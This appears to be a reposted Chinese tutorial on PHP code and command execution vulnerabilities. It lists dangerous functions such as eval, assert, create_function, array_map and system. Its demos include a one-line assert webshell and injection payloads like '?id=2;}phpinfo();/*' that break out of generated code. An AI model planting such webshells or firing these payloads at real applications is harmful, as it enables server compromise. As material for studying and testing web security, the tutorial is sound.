命令执行tips

Posted sylover

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了命令执行tips相关的知识,希望对你有一定的参考价值。

介绍:

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如php中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

 

代码执行

${}执行代码
eval
assert
preg_replace
create_function()
call_user_func()/call_user_func_array()
array_filter()

方法:

${phpinfo()};
eval(‘echo hsy;‘);
//url?x=phpinfo()
<?php assert($_POST[‘x‘]); ?>

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

tips

 

$b = preg_replace("/abc/e",$b,‘abcd‘);

 

create_function()

函数create_function主要用来创建匿名函数

string create_function ( string $args , string $code )

例子:

<?php
$x= create_function(‘$x‘,‘echo $x+1;‘);
$x(1);
?>
output:2

当我在构造匿名函数第二个参数的位置放置我想执行的语句时,这个语句就会成立。

$a = ‘phpinfo()‘;
$b = create_function(" ",$a);
$b();
?>

借鉴了网上的一个例子:

<?php

$id = $_GET[‘id‘];

$code = ‘echo $name.‘.‘的编号是‘.$id.‘;‘;

$b = create_function(‘$name‘,$code);
function ss($name){
    echo $name ."编号".$id;
}
$b(‘sd‘);

?>

构造payload:

?id=2;}phpinfo();/* 

传入后代码执行结果:

function ss($name){
    echo $name ."编号".2;
}phpinfo();/*
}
$b(‘sd‘);

array_map()

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

不难理解哈,就是第一个参数作为自定义的函数,后一个参数作为数组下标。

<?php
$a = $_GET[‘a‘];

$b = $_GET[‘b‘];

$array[0] = $b;

$c = array_map($a,$array);

?>
//?a=assert&b=phpinfo();

 

命令执行

    system()

    passthru()

    exec()

    shell_exec()

    `反引号

    ob_start()

    mail函数+LD_PRELOAD执行系统命令

    system()
  • system

技术图片

  • passthru()

 技术图片

  • exec()

技术图片

  • shell_exec()

技术图片

  • `反引号

技术图片

 

敏感字符绕过

 

以上是关于命令执行tips的主要内容,如果未能解决你的问题,请参考以下文章

工具向IntelliJ IDEA 探路

pyspark 学习 Tips

shell tips

VSCode自定义代码片段——git命令操作一个完整流程

[Tips] Shell中常用的环境变量

VSCode自定义代码片段——cli的终端命令大全